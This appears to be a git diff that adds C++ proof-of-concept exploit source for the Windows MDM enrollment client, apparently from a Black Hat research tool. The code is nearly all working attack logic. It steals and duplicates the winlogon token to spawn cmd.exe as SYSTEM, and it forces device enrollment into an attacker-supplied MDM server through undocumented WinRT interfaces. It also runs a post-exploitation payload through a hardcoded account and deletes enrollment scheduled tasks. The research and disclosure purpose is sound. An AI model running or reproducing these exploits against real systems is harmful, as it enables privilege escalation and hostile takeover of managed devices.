INVALID_HANDLE_VALUE; + HANDLE dup_primary_token = INVALID_HANDLE_VALUE; + HANDLE dup_impersonation_token = INVALID_HANDLE_VALUE; + HANDLE current_process_token = INVALID_HANDLE_VALUE; + + // Sanity check on input + if (executable_path.empty()) { + return false; + } + + // Cleanup lambda helper + auto FreeResources = [&]() { + // Close process and thread handles + if (process_info.hProcess) { + CloseHandle(process_info.hProcess); + } + + if (process_info.hThread) { + CloseHandle(process_info.hThread); + } + + if (system_process_handle != INVALID_HANDLE_VALUE) { + CloseHandle(system_process_handle); + } + + if (system_process_primary_token != INVALID_HANDLE_VALUE) { + CloseHandle(system_process_primary_token); + } + + if (dup_primary_token != INVALID_HANDLE_VALUE) { + CloseHandle(dup_primary_token); + } + + if (dup_impersonation_token != INVALID_HANDLE_VALUE) { + CloseHandle(dup_impersonation_token); + } + + if (current_process_token != INVALID_HANDLE_VALUE) { + CloseHandle(current_process_token); + } + }; + + // Lambda helper to gather the current session winlogon pid + auto GetWinlogonPID = [](DWORD& winlogon_pid) -> bool { + DWORD current_session_id = 0; + if (!ProcessIdToSessionId(GetCurrentProcessId(), ¤t_session_id)) { + return false; + } + + HANDLE proc_snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if ((proc_snap == NULL) || (proc_snap == INVALID_HANDLE_VALUE)) { + return false; + } + + PROCESSENTRY32W proc_entry = { 0 }; + proc_entry.dwSize = sizeof(PROCESSENTRY32W); + for (BOOL success = Process32FirstW(proc_snap, &proc_entry); + success != FALSE; + success = Process32NextW(proc_snap, &proc_entry)) + { + //checking winlogon proc name + std::wstring executable(proc_entry.szExeFile); + if (executable.find(L"winlogon") != std::string::npos) + { + //then checking if running on current process session id + DWORD session_id = 0; + if (!ProcessIdToSessionId(proc_entry.th32ProcessID, &session_id)) { + return false; + } + + if (session_id == current_session_id) { + winlogon_pid = proc_entry.th32ProcessID; + return true; + } + } + } + + CloseHandle(proc_snap); + return false; + }; + + // Lambda helper to enable all the privileges from a given token + auto EnableAllTokenPrivileges = [](HANDLE& token) -> bool { + bool ret = false; + DWORD privs_size = 0; + GetTokenInformation(token, TokenPrivileges, 0, 0, &privs_size); + if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) + { + return false; + } + + PTOKEN_PRIVILEGES privileges = (PTOKEN_PRIVILEGES)calloc(privs_size, sizeof(BYTE)); + if (!privileges) { + return false; + } + + DWORD token_info_len = 0; + if (!GetTokenInformation(token, TokenPrivileges, privileges, privs_size, &token_info_len)) + { + return false; + } + + for (DWORD i = 0; i < privileges->PrivilegeCount; ++i) + { + privileges->Privileges[i].Attributes = SE_PRIVILEGE_ENABLED; + } + + if (!AdjustTokenPrivileges(token, FALSE, privileges, 0, 0, 0)) { + return false; + } + + free(privileges); + return true; + }; + + // Lambda helper to enable all the privileges from a given token + auto GetPrivilegedDuplicatedToken = [&](HANDLE input, HANDLE& output, TOKEN_TYPE type) -> bool { + + // give access to everyone on the duplicated token + SECURITY_ATTRIBUTES security_attributes = { 0 }; + SECURITY_DESCRIPTOR security_descriptor = { 0 }; + if (InitializeSecurityDescriptor(&security_descriptor, SECURITY_DESCRIPTOR_REVISION)) + { + if (SetSecurityDescriptorDacl(&security_descriptor, TRUE, (PACL)NULL, FALSE)) + { + security_attributes.nLength = sizeof(SECURITY_ATTRIBUTES); + security_attributes.bInheritHandle = FALSE; + security_attributes.lpSecurityDescriptor = &security_descriptor; + } + } + + // duplicate the token + HANDLE work_token = INVALID_HANDLE_VALUE; + if ((DuplicateTokenEx(input, GENERIC_ALL, &security_attributes, SecurityImpersonation, type, &work_token)) && + (work_token != INVALID_HANDLE_VALUE) && (work_token != NULL)) + { + //enable token privileges + if (EnableAllTokenPrivileges(work_token)) { + output = work_token; + return true; + } + } + + return false; + }; + + // Work starts here + + // Enabling privileges of running primary token + current_process_token = INVALID_HANDLE_VALUE; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, ¤t_process_token) || + (current_process_token == INVALID_HANDLE_VALUE)) { + FreeResources(); + wprintf(L"[-] There was a problem calling OpenProcessToken() for current process: 0x%x\n", GetLastError()); + return false; + } + + if (!EnableAllTokenPrivileges(current_process_token)) { + wprintf(L"[-] There was a problem calling EnableAllTokenPrivileges(): 0x%x\n", GetLastError()); + return false; + } + + // Stealing token from winlogon process running in current session + DWORD winlogon_pid = 0; + if (!GetWinlogonPID(winlogon_pid)) { + wprintf(L"[-] There was a problem calling GetWinlogonPID(): 0x%x\n", GetLastError()); + return false; + } + + system_process_handle = OpenProcess(PROCESS_QUERY_INFORMATION, 0, winlogon_pid); + if ((system_process_handle == INVALID_HANDLE_VALUE) || (system_process_handle == NULL)) { + wprintf(L"[-] There was a problem calling OpenProcessToken(): 0x%x\n", GetLastError()); + return false; + } + + if (!OpenProcessToken(system_process_handle, TOKEN_DUPLICATE, &system_process_primary_token) || + (system_process_primary_token == INVALID_HANDLE_VALUE)) { + FreeResources(); + wprintf(L"[-] There was a problem calling OpenProcessToken(): 0x%x\n", GetLastError()); + return false; + } + + // Getting duplicated primary token + if (!GetPrivilegedDuplicatedToken(system_process_primary_token, dup_primary_token, TokenPrimary)) { + FreeResources(); + wprintf(L"[-] There was a problem duplicating primary token: 0x%x\n", GetLastError()); + return false; + } + + // Getting duplicated impersonation token + if (!GetPrivilegedDuplicatedToken(system_process_primary_token, dup_impersonation_token, TokenImpersonation)) { + FreeResources(); + wprintf(L"[-] There was a problem duplicating primary token: 0x%x\n", GetLastError()); + return false; + } + + // Impersonating privileged token + if (!ImpersonateLoggedOnUser(dup_impersonation_token)) { + FreeResources(); + wprintf(L"[-] There was a problem impersonating privileged token: 0x%x\n", GetLastError()); + return false; + } + + startup_info.cb = sizeof(startup_info); + wchar_t desktop[] = L"winsta0\\default"; + startup_info.lpDesktop = desktop; + + // Create elevated process + if (!CreateProcessAsUserW( + dup_primary_token, + executable_path.c_str(), + NULL, + NULL, + NULL, + FALSE, + NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT | CREATE_NEW_CONSOLE, + NULL, + NULL, + &startup_info, + &process_info + )) + { + FreeResources(); + wprintf(L"[-] There was an error calling CreateProcessWithLogonW(): 0x%x\n", GetLastError()); + return false; + } + + RevertToSelf(); + + FreeResources(); + + return true; +} + +// It performs the device enrollment logic by: +// - Ensuring that there are no active MDM registration +// - Performing two stages registration approach (bug with current MDM server implementation) +bool PerformDeviceEnrollmentUsingWhitelistedProcess(const std::wstring& enroll_mdm_webservice, const std::wstring& enroll_upn) { + + // getting current executable path + std::wstring executable_path; + if (!GetCurrentExecutablePath(executable_path)) { + wprintf(L"[-] There was a problem retrieving the path to the current executable\n"); + return false; + } + + //Command Enroll Commandline + //this is required by the command line parsing logic + std::wstring common_cmdline; + common_cmdline.append(executable_path); + common_cmdline.append(L" "); + common_cmdline.append(exploit_argument); + common_cmdline.append(L" "); + common_cmdline.append(exploit_whitelisted_mdm_enrollment); + + //unenroll cmdline + std::wstring unenroll_cmdline; + unenroll_cmdline.append(common_cmdline); + unenroll_cmdline.append(L" "); + unenroll_cmdline.append(unenrollment_argument); + + // Best effort unenroll logic + CreateWhitelistedAppContainerProcess(unenroll_cmdline, enroll_mdm_webservice, enroll_upn); + + //Dummy sleep + Sleep(1000); + + // Device enrollment call + if (!CreateWhitelistedAppContainerProcess(common_cmdline, enroll_mdm_webservice, enroll_upn)) { + wprintf(L"[-] There was a problem performing the whitelisted device enrollment\n"); + return false; + } + + return true; +} + +// It dumb checks if device is enrolled until timeout seconds is reached +bool WaitUntilDeviceIsMDMEnrolled() { + bool ret = false; + const unsigned int timeout_seconds = 15; + + // Lambda helper to check if device is enrolled into the MDM + auto IsDeviceMDMEnrolled = []() -> bool { + BOOL is_mdm_enrolled = FALSE; + + if ((IsDeviceRegisteredWithManagement(&is_mdm_enrolled, 0, NULL) == S_OK) && (is_mdm_enrolled)) { + return true; + } + + return false; + }; + + for (unsigned int nr_seconds = 0; nr_seconds < timeout_seconds; ++nr_seconds) { + Sleep(1000); + if (IsDeviceMDMEnrolled()) { + ret = true; + break; + } + } + + //Wait for SyncML policies to be applied + Sleep(1000); + + return ret; +} + +// It executes cmd.exe in a privileged context +bool ExecutePrivilegedCmdPayload() { + + wchar_t windows_dir[MAX_PATH]{ 0 }; + if ((GetSystemDirectoryW(windows_dir, MAX_PATH) > 0) && (wcslen(windows_dir) > 0)) { + std::wstring target_path_to_cmd; + target_path_to_cmd.append(windows_dir); + target_path_to_cmd.append(L"\\"); + target_path_to_cmd.append(L"cmd.exe"); + + if (CreateSystemProcess(target_path_to_cmd)) { + return true; + } + } + + return false; +} + +// It returns the path to the running executable +bool GetCurrentExecutablePath(std::wstring& path) { + wchar_t current_path[MAX_PATH + 1] = { 0 }; + + GetModuleFileNameW(NULL, current_path, MAX_PATH); + + if (wcslen(current_path) == 0) { + return false; + } + + path.assign(current_path); + return true; +} + + +// It returns all of the GUIDs associated to current and past enrollments +bool GetEnrollmentIDs(TStrings& enrollment_ids, const wchar_t *upn) { + + std::wstring target_upn(upn); + std::wstring enrollment_db_path(L"SOFTWARE\\Microsoft\\Enrollments"); + + HKEY key_handle = NULL; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, enrollment_db_path.c_str(), 0, KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS, &key_handle) != ERROR_SUCCESS) { + return false; + } + + DWORD subkey_count = 0; + DWORD subkey_len = 0; + if ((RegQueryInfoKeyW(key_handle, NULL, NULL, NULL, &subkey_count, &subkey_len, NULL, NULL, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) || (subkey_count == 0)) { + return false; + } + + for (DWORD i = 0; i < subkey_count; ++i) { + wchar_t enrollment_id_subkey_name[MAX_PATH] = { 0 }; + DWORD subkey_size = MAX_PATH; + if ((RegEnumKeyExW(key_handle, i, enrollment_id_subkey_name, &subkey_size, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) && (wcslen(enrollment_id_subkey_name) > 0)) { + + std::wstring subkey_path; + subkey_path.append(enrollment_db_path); + subkey_path.append(L"\\"); + subkey_path.append(enrollment_id_subkey_name); + + HKEY subkey_handle = NULL; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, subkey_path.c_str(), 0, KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS, &subkey_handle) != ERROR_SUCCESS) { + return false; + } + + wchar_t upn_value[MAX_PATH] = { 0 }; + DWORD upn_size = MAX_PATH; + DWORD key_type = 0; + if ((RegQueryValueExW(subkey_handle, L"UPN", NULL, &key_type, (LPBYTE)&upn_value, &upn_size) == ERROR_SUCCESS) && (wcslen(upn_value) > 0)){ + if (target_upn.empty()) { + enrollment_ids.push_back(enrollment_id_subkey_name); + } + else { + std::wstring found_upn(upn_value); + if (found_upn == target_upn) { + enrollment_ids.push_back(enrollment_id_subkey_name); + } + } + } + + if (subkey_handle != INVALID_HANDLE_VALUE) { + CloseHandle(subkey_handle); + } + } + } + + if (key_handle != INVALID_HANDLE_VALUE) { + CloseHandle(key_handle); + } + + if (enrollment_ids.empty()) { + return false; + } + + return true; +} + + +// It returns the list of tasks to delete +// Since we are running with low privieleges, we cannot just list the tasks from the task sched +// so only option is to guess these tasks +void GetListOfEnrollmentTasksByEnrollmentID(const std::wstring& enrollment_id, TStrings& enrollment_tasks) { + std::wstring task_prefix = L"\\" + enrollment_id + L"\\"; + enrollment_tasks.push_back(task_prefix + L"OS Edition Upgrade event listener created by enrollment client"); + enrollment_tasks.push_back(task_prefix + L"Passport for Work alert created by enrollment client"); + enrollment_tasks.push_back(task_prefix + L"Provisioning initiated session"); + enrollment_tasks.push_back(task_prefix + L"Schedule #1 created by enrollment client"); + enrollment_tasks.push_back(task_prefix + L"Schedule #2 created by enrollment client"); + enrollment_tasks.push_back(task_prefix + L"Schedule #3 created by enrollment client"); + enrollment_tasks.push_back(task_prefix + L"Schedule created by enrollment client for renewal of certificate warning"); + enrollment_tasks.push_back(task_prefix + L"Schedule to run OMADMClient by client"); + enrollment_tasks.push_back(task_prefix + L"Schedule to run OMADMClient by server"); + enrollment_tasks.push_back(task_prefix + L"Win10 S Mode event listener created by enrollment client"); + enrollment_tasks.push_back(task_prefix + L"Wsc Startup event listener created by enrollment client"); + enrollment_tasks.push_back(task_prefix + L"Login Schedule created by enrollment client"); + enrollment_tasks.push_back(task_prefix + L"PushLaunch"); + enrollment_tasks.push_back(task_prefix + L"PushRenewal"); +} + +// It returns the list of all of the enrollment tasks +bool GetListOfEnrollmentTasks(TStrings& enrollment_tasks) { + + TStrings enrollment_ids; + if (GetEnrollmentIDs(enrollment_ids)) { + for (auto enrollment_id : enrollment_ids) { + GetListOfEnrollmentTasksByEnrollmentID(enrollment_id, enrollment_tasks); + } + } + + if (enrollment_tasks.empty()) { + return false; + } + + return true; +} + +// It just dummy wait for some time to allow SyncML policies to be enforced +// This should be improved +void BlockWaitForMDMPolicyEnforcement() { + Sleep(2000); +} + +// It executes the post exploitation actions after a successfull MDM device enrollment +bool ExecutePostExploitationPayload(bool is_enroll_only_mdm_requested, const std::wstring& target_exploit) { + + // getting current executable path + std::wstring executable_path; + if (!GetCurrentExecutablePath(executable_path)) { + wprintf(L"[-] There was a problem retrieving the path to the current executable\n"); + return false; + } + + wprintf(L"[+] Wait for device to be enrolled\n"); + if (!WaitUntilDeviceIsMDMEnrolled()) { + wprintf(L"[-] There was a problem enrolling device into MDM server\n"); + return false; + } + + wprintf(L"[+] Device was enrolled into target MDM server!\n"); + + wprintf(L"[+] Now waiting for SyncML policies to be enforced\n"); + BlockWaitForMDMPolicyEnforcement(); + + if (is_enroll_only_mdm_requested) { + wprintf(L"[+] Exploit finished successfully. MDM SyncML commands can now be enforced into the device!\n"); + return true; + } + else { + wprintf(L"[+] Creating privileged process to run privileged payload\n"); + + //Target command line for elevated admin process + std::wstring target_cmdline; + target_cmdline.append(executable_path); + target_cmdline.append(L" "); + target_cmdline.append(exploit_argument); + target_cmdline.append(L" "); + target_cmdline.append(target_exploit); + + //This user is created during MDM policy enforcement after device enrollment + std::wstring target_exploit_username = L"testexp"; + std::wstring target_exploit_password = L"testpass"; + + // Elevated process will end up launching cmd as SYSTEM + if (!CreateElevatedProcessFromMediumIL(target_cmdline, target_exploit_username, target_exploit_password)) { + wprintf(L"[-] There was a problem executing privileged payload!\n"); + return false; + } + else { + wprintf(L"[+] Exploit privileged payload executed successfully! MDM SyncML commands can now be enforced to the device\n"); + return true; + } + } + + return false; +} + + +// It returns the running username +std::wstring GetRunningUsername() { + std::wstring ret; + wchar_t username[MAX_PATH + 1] = { 0 }; + DWORD username_len = MAX_PATH; + if (GetUserNameW(username, &username_len)) { + ret.assign(username); + } + + return ret; +} + +// It prints the input HRESULT value +// TODO: Add programmatic description +HRESULT PrintError(HRESULT hr) { + wprintf(L"[-] Operation failed with error 0x%X\n", (unsigned int)hr); + return hr; +} diff --git a/tools/blackhat-mdm/mdm_enrollment_client_pocs/src/core.cpp b/tools/blackhat-mdm/mdm_enrollment_client_pocs/src/core.cpp new file mode 100755 index 0000000000..244150f5d3 --- /dev/null +++ b/tools/blackhat-mdm/mdm_enrollment_client_pocs/src/core.cpp @@ -0,0 +1,209 @@ +#include "common.h" + +// It performs an MDM Device Enrollment using the AAD flow +int ReflectedAADEnrollment( + bool is_enroll_only_mdm_requested, + const std::wstring& enroll_upn, + const std::wstring& enroll_mdm_webservice) { + + int ret = EXIT_FAILURE; + + // Checking if running from a privileged token + if (IsAdminToken()) { + + // Executing privileged payload + if (ExecutePrivilegedCmdPayload()) { + ret = EXIT_SUCCESS; + } + } + else { + + // Checking required arguments + if (enroll_mdm_webservice.empty()) { + wprintf(L"[-] Invalid arguments were provided: --enroll-webservice should be used\n"); + return ret; + } + + wprintf(L"[+] About to run the AAD MDM Device Enrollment exploit\n"); + + wprintf(L"[+] Performing device enrollment using ReflectedEnroller service (This will take some time)\n"); + + //Perform the actual MDM enrollment + if (EnrollAADUsingReflectedEnroller(enroll_upn, enroll_mdm_webservice) != S_OK) { + wprintf(L"[-] There was a problem performing the device enrollment\n"); + return ret; + } + + wprintf(L"[+] AAD MDM Enrollment was successful!\n"); + + wprintf(L"[+] Executing post-exploitation actions\n"); + if (!ExecutePostExploitationPayload(is_enroll_only_mdm_requested, exploit_aad_mdm_enrollment)) { + wprintf(L"[-] There was a problem performing the device enrollment\n"); + return ret; + } + } + + return EXIT_SUCCESS; +} + +// It deletes all the sched tasks realted to MDM enrollments +int EnrollmentSchedTasksDelete() { + int ret = EXIT_FAILURE; + + wprintf(L"[+] About to run SchedTask delete exploit\n"); + + // Get the list of enrollment tasks + TStrings enrollment_sched_tasks; + if (GetListOfEnrollmentTasks(enrollment_sched_tasks) && !enrollment_sched_tasks.empty()) { + + wprintf(L"[+] %d sched taks were going to be deleted.\n", (unsigned int)enrollment_sched_tasks.size()); + + //Grabbing list of sched tasks + unsigned int deleted_tasks = 0; + for (auto task_path : enrollment_sched_tasks) { + wprintf(L"[+] About to delete sched task (%s)\n", task_path.c_str()); + + if (DeleteEnrollmentTask(task_path) == S_OK) { + wprintf(L"[+] Sched task %s was successfully deleted\n", task_path.c_str()); + deleted_tasks++; + ret = EXIT_SUCCESS; + } + else { + wprintf(L"[-] There was a problem deleting sched task %s\n", task_path.c_str()); + } + } + + wprintf(L"[+] Sched tasks present at \"\\\\Microsoft\\Windows\\EnterpriseMgmt\" were successfully deleted\n"); + } + else { + wprintf(L"[-] No MDM enrollments were done on this device\n"); + } + + return ret; +} + +// It performs an MDM Device Enrollment from non-elevated local admin context +int WhitelistedMDMEnrollment( + bool is_enroll_only_mdm_requested, + bool is_unenroll_requested, + const std::wstring& enroll_upn, + const std::wstring& enroll_mdm_webservice) { + + int ret = EXIT_FAILURE; + + // Checking if running from an appcontainer process + if (IsAppContainer()) { + + if (is_unenroll_requested) { + if (UnenrollFromMDM()) { + ret = EXIT_SUCCESS; + } + } + else { + if (EnrollIntoMDM(enroll_mdm_webservice, enroll_mdm_webservice)) { + ret = EXIT_SUCCESS; + } + } + } + + // Checking if running from a privileged token + else if (IsAdminToken()) { + + // Executing privileged payload + if (ExecutePrivilegedCmdPayload()) { + ret = EXIT_SUCCESS; + } + } + + // Otherwise run the main exploit logic + else { + + // checking if primary token has BUILTIN\Administrators on its list of groups + if (!IsAdminPresentToken()) { + wprintf(L"[-] Caller user should be part of local administrators\n"); + return ret; + } + + //checking required arguments + if (enroll_mdm_webservice.empty()) { + wprintf(L"[-] Invalid arguments were provided: --enroll-webservice should be used\n"); + return ret; + } + + wprintf(L"[+] About to run the MDM Device Enrollment exploit\n"); + + wprintf(L"[+] Performing device enrollment using whitelisted AppContainer SID (This will take some time)\n"); + if (!PerformDeviceEnrollmentUsingWhitelistedProcess(enroll_mdm_webservice, enroll_upn)) { + wprintf(L"[-] There was a problem performing the device enrollment\n"); + return ret; + } + + wprintf(L"[+] MDM Enrollment was successful!\n"); + + wprintf(L"[+] Executing Post Exploitation actions\n"); + if (!ExecutePostExploitationPayload(is_enroll_only_mdm_requested, exploit_whitelisted_mdm_enrollment)) { + wprintf(L"[-] There was a problem performing the device enrollment\n"); + return ret; + } + + ret = EXIT_SUCCESS; + } + + return ret; +} + +void ShowHelp() { + wprintf(L"MDM Enrollment Client PoCs\n"); + wprintf(L"Usage: "); + wprintf(L"mdm_enrollment_client_pocs.exe"); + wprintf(L" --exploit "); + wprintf(L" --enroll-webservice \n"); + wprintf(L"Supported Exploits: \n"); + wprintf(L" exploit_aad_mdm_enrollment (Unprivileged MDM Device enrollment)\n"); + wprintf(L" whitelisted_mdm_enrollment (Non-elevated local admin MDM Device enrollment\n"); + wprintf(L" exploit_sched_tasks_delete (MDM Enrollment break throuh MDM Schedtasks deletion\n"); + wprintf(L"Usage Examples: \n"); + wprintf(L" mdm_enrollment_client_pocs.exe --exploit aad_mdm_enrollment --enroll-webservice https://mdm.email.com/enroll\n"); + wprintf(L" mdm_enrollment_client_pocs.exe --exploit whitelisted_mdm_enrollment --enroll-webservice https://mdm.email.com/enroll\n"); + wprintf(L" mdm_enrollment_client_pocs.exe --exploit mdm_sched_tasks\n"); +} + + +int wmain() { + int ret = EXIT_FAILURE; + + //Command line arguments parsing + bool is_enroll_only_mdm_requested = false; + bool unenrollment_present = false; + std::wstring target_exploit; + std::wstring enroll_webservice; + std::wstring enroll_upn; + + // Parsing command line arguments + if (!GetParsedArguments(is_enroll_only_mdm_requested, unenrollment_present, target_exploit, enroll_webservice)) { + ShowHelp(); + return ret; + } + + //AAD MDM Enrollment exploit + if (target_exploit.compare(exploit_aad_mdm_enrollment) == 0) { + ret = ReflectedAADEnrollment(is_enroll_only_mdm_requested, enroll_upn, enroll_webservice); + } + + //Whitelisted MDM Enrollment + else if (target_exploit.compare(exploit_whitelisted_mdm_enrollment) == 0) { + ret = WhitelistedMDMEnrollment(is_enroll_only_mdm_requested, unenrollment_present, enroll_upn, enroll_webservice); + } + + //MDM Scheduled Tasks Delete + else if (target_exploit.compare(exploit_sched_tasks_delete) == 0) { + ret = EnrollmentSchedTasksDelete(); + } + + else { + wprintf(L"[-] Target exploit is not supported!\n"); + ShowHelp(); + } + + return ret; +} diff --git a/tools/blackhat-mdm/mdm_enrollment_client_pocs/src/management_enroller_helpers.cpp b/tools/blackhat-mdm/mdm_enrollment_client_pocs/src/management_enroller_helpers.cpp new file mode 100755 index 0000000000..c0d643d715 --- /dev/null +++ b/tools/blackhat-mdm/mdm_enrollment_client_pocs/src/management_enroller_helpers.cpp @@ -0,0 +1,100 @@ +#include "common.h" + +struct UnenrollData { + HSTRING EnrollEmail; +}; + +struct EnrollData { + HSTRING EnrollEmail; + HSTRING EnrollWebservice; + HSTRING Member1; + int Member2; + HSTRING EnrollToken; + HSTRING Member3; + HSTRING Member4; + int Member5; + HSTRING Member6; +}; + +struct AADEnrollData { + HSTRING EnrollEmail; + HSTRING EnrollWebservice; + HSTRING Member1; + HSTRING Member2; + int EnrollToken; + HSTRING Member3; + HSTRING Member4; + HSTRING Member5; + HSTRING Member6; + HSTRING Member7; + int Member8; +}; + +struct OperatorScope { + HSTRING EnrollEmail; + GUID EnrollWebservice; +}; + +MIDL_INTERFACE("EA3E6F38-0708-4CCE-AAFA-AA581441F179") +IEnrollmentResult : public IInspectable{ + virtual HRESULT Proc1(GUID * p0) = 0; + virtual HRESULT Proc2(HSTRING* p0) = 0; + virtual HRESULT Proc3(int* p0) = 0; + virtual HRESULT Proc4(HSTRING* p0) = 0; + virtual HRESULT Proc5(int* p0) = 0; +}; + + +MIDL_INTERFACE("9CB302B2-E79D-4BEB-84C7-3ABCB992DF4E") +IEnrollment : public IInspectable{ + virtual HRESULT UnenrollAsync(UnenrollData p0, IAsyncAction * *p1) = 0; + virtual HRESULT EnrollAsync(EnrollData* p0, IAsyncOperation** p1) = 0; + virtual HRESULT LocalEnrollAsync(int p0, IAsyncOperation** p1) = 0; + virtual HRESULT AADEnrollAsync(AADEnrollData* p0, IAsyncOperation** p1) = 0; + virtual HRESULT BeginMobileOperatorScope(OperatorScope* p0, GUID* p1) = 0; + virtual HRESULT GetEnrollments(int p0, IVectorView** p1) = 0; + virtual HRESULT GetEnrollmentsOfCurrentUser(int p0, IVectorView** p1) = 0; + virtual HRESULT CanEnroll(int p0, AADEnrollData* p1, int* p2, IVectorView** p3) = 0; + virtual HRESULT Migrate(HSTRING p0) = 0; + virtual HRESULT MigrateNeeded(byte* p0) = 0; + virtual HRESULT GetObjectCount() = 0; + virtual HRESULT NoMigrationNeeded(byte* p0) = 0; + virtual HRESULT GetEnrollmentFromOpaqueID(HSTRING p0, HSTRING* p1) = 0; + virtual HRESULT GetApplicationEnrollment(HSTRING p0, HSTRING p1, int p2, HSTRING* p3) = 0; + virtual HRESULT DeleteSCEPTask(HSTRING p0) = 0; + virtual HRESULT QueueUnenroll(UnenrollData p0) = 0; + virtual HRESULT LocalApplicationEnrollAsync(HSTRING p0, HSTRING p1, int p2, IAsyncOperation** p3) = 0; + virtual HRESULT LocalApplicationUnenrollAsync(HSTRING p0, IAsyncAction** p1) = 0; + virtual HRESULT RecoverAsync(HSTRING p0, HSTRING p1, IAsyncAction** p2) = 0; +}; + + +HRESULT DeleteEnrollmentTask(const std::wstring& taskname) +{ + if (taskname.empty()) { + return E_INVALIDARG; + } + + // Initializing WinRT stack + RoInitializeWrapper init(RO_INIT_MULTITHREADED); + if (FAILED((HRESULT)init)) return PrintError((HRESULT)init); + + // Setting input hstring + HSTRING task_name_hstr = NULL; + HRESULT hr = WindowsCreateString(taskname.c_str(), (UINT32)taskname.length(), &task_name_hstr); + if (FAILED(hr)) return PrintError(hr); + + // Activating Enroller WinRT service, we are particulary interested in the IEnrollment interface + const HStringReference management_enroller_name = HString::MakeReference(L"Windows.Internal.Management.Enrollment.Enroller"); + ComPtr management_enroller_ptr = nullptr; + hr = ActivateInstance(management_enroller_name.Get(), &management_enroller_ptr); + if (FAILED(hr)) return PrintError(hr); + + // Calling DeleteSCEPTask to delete a given MDM enrollment sched task + hr = management_enroller_ptr->DeleteSCEPTask(task_name_hstr); + if (FAILED(hr)) return PrintError(hr); + + //wprintf(L"DeleteSCEPTask: Task %s was successfully deleted\n", taskname.c_str()); + + return S_OK; +} \ No newline at end of file diff --git a/tools/blackhat-mdm/mdm_enrollment_client_pocs/src/reflected_enroller_helpers.cpp b/tools/blackhat-mdm/mdm_enrollment_client_pocs/src/reflected_enroller_helpers.cpp new file mode 100755 index 0000000000..9d854f48d2 --- /dev/null +++ b/tools/blackhat-mdm/mdm_enrollment_client_pocs/src/reflected_enroller_helpers.cpp @@ -0,0 +1,140 @@ +#include "common.h" + +MIDL_INTERFACE("EA03163E-5836-4FFD-84AF-9DFE0E58E7F9") +FindDiscoveryResults : public IInspectable{ + virtual HRESULT Proc1(HSTRING * p0) = 0; + virtual HRESULT Proc2(BYTE* p0) = 0; +}; + +MIDL_INTERFACE("C7EBA020-AF80-4B6B-B2DC-329F13A8B101") +DiscoverEndpointsResults : public IInspectable{ + virtual HRESULT Proc1(int* p0) = 0; + virtual HRESULT Proc2(int* p0) = 0; + virtual HRESULT Proc3(HSTRING* p0) = 0; + virtual HRESULT Proc4(HSTRING* p0) = 0; + virtual HRESULT Proc5(HSTRING* p0) = 0; +}; + +MIDL_INTERFACE("C5466834-857E-45BF-920D-0E9C1E8CA703") +CustomAllDonePageResults : public IInspectable{ + virtual HRESULT Proc6(HSTRING * p0) = 0; + virtual HRESULT Proc7(HSTRING* p0) = 0; + virtual HRESULT Proc8(HSTRING* p0) = 0; + virtual HRESULT Proc9(HSTRING* p0) = 0; +}; + +MIDL_INTERFACE("FD0D03BA-0AEE-4FF7-8990-689AFBF63A20") +ReflectedEnrollmentResult : public IInspectable{ + virtual HRESULT Proc1(GUID * p0) = 0; + virtual HRESULT Proc2(HSTRING* p0) = 0; + virtual HRESULT Proc3(int* p0) = 0; + virtual HRESULT Proc4(HSTRING* p0) = 0; + virtual HRESULT Proc5(int* p0) = 0; +}; + +template <> +MIDL_INTERFACE("FA7717FD-0583-5A8D-AE87-78C26D9BB9C8") +IAsyncOperationCompletedHandler : public IInspectable{ + virtual HRESULT Proc1(IAsyncOperation*p0, int p1) = 0; +}; + +template <> +MIDL_INTERFACE("E5BB59E8-7790-598A-BC6B-457E588370CE") +IAsyncOperation : public IInspectable{ + virtual HRESULT Proc6(IAsyncOperationCompletedHandler*p0) = 0; + virtual HRESULT Proc7(IAsyncOperationCompletedHandler** p0) = 0; + virtual HRESULT Proc8(ReflectedEnrollmentResult** p0) = 0; +}; + +MIDL_INTERFACE("3490F9C9-9703-46D0-B778-1EC23B82F926") +ReflectedEnrollment : public IInspectable{ + virtual HRESULT FindDiscoveryServiceAsync(HSTRING p0, BYTE p1, IAsyncOperation**p2) = 0; + virtual HRESULT DiscoverEndpointsAsync(HSTRING p0, HSTRING p1, BYTE p2, IAsyncOperation** p3) = 0; + virtual HRESULT EnrollAsync(HSTRING p0, HSTRING p1, HSTRING p2, int p3, HSTRING p4, HSTRING p5, HSTRING p6, HSTRING p7, int p8, HSTRING p9, IAsyncOperation** p10) = 0; + virtual HRESULT AllowAuthUri(void* p0) = 0; + virtual HRESULT RemoveAuthUriAllowList() = 0; + virtual HRESULT EventWriteForEnrollment(int p0, int p1) = 0; + virtual HRESULT RetrieveCustomAllDonePageAsync(IAsyncOperation** p0) = 0; + virtual HRESULT SetEnrollmentAsDormant(HSTRING p0, int p1, int p2, IAsyncAction** p3) = 0; + virtual HRESULT CompleteMAMToMDMUpgrade(HSTRING p0, HSTRING p1, int p2, IAsyncAction** p3) = 0; + virtual HRESULT GetEnrollment(int p0, IAsyncOperation** p1) = 0; + virtual HRESULT CreateCorrelationVector(IAsyncOperation** p0) = 0; + virtual HRESULT CheckForDomainControllerConnectivity(int p0, IAsyncAction** p1) = 0; + virtual HRESULT ShowMdmSyncStatusPageAsync(int p0, IAsyncOperation** p1) = 0; + virtual HRESULT PollForExpectedPoliciesAndResources(int p0, int p1, int p2, void** p3) = 0; + virtual HRESULT UpdateServerWithResult(int p0, int p1) = 0; + virtual HRESULT StartPollingTask() = 0; + virtual HRESULT ClearAutoLoginData() = 0; + virtual HRESULT SetWasContinuedAnyway(int p0) = 0; + virtual HRESULT CheckMDMProgressModeAsync(void** p0) = 0; + virtual HRESULT CheckBlockingValueAsync(IAsyncOperation** p0) = 0; + virtual HRESULT ShouldShowCollectLogsAsync(int p0, IAsyncOperation** p1) = 0; + virtual HRESULT CollectLogs(HSTRING p0, IAsyncAction** p1) = 0; + virtual HRESULT ResetProgressTimeout(int p0) = 0; + virtual HRESULT RetrieveCustomErrorText(int p0, IAsyncOperation** p1) = 0; 